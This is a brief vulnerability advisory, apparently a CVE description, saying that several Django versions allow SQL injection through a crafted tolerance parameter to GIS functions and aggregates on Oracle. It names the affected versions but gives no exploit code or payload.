Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL.
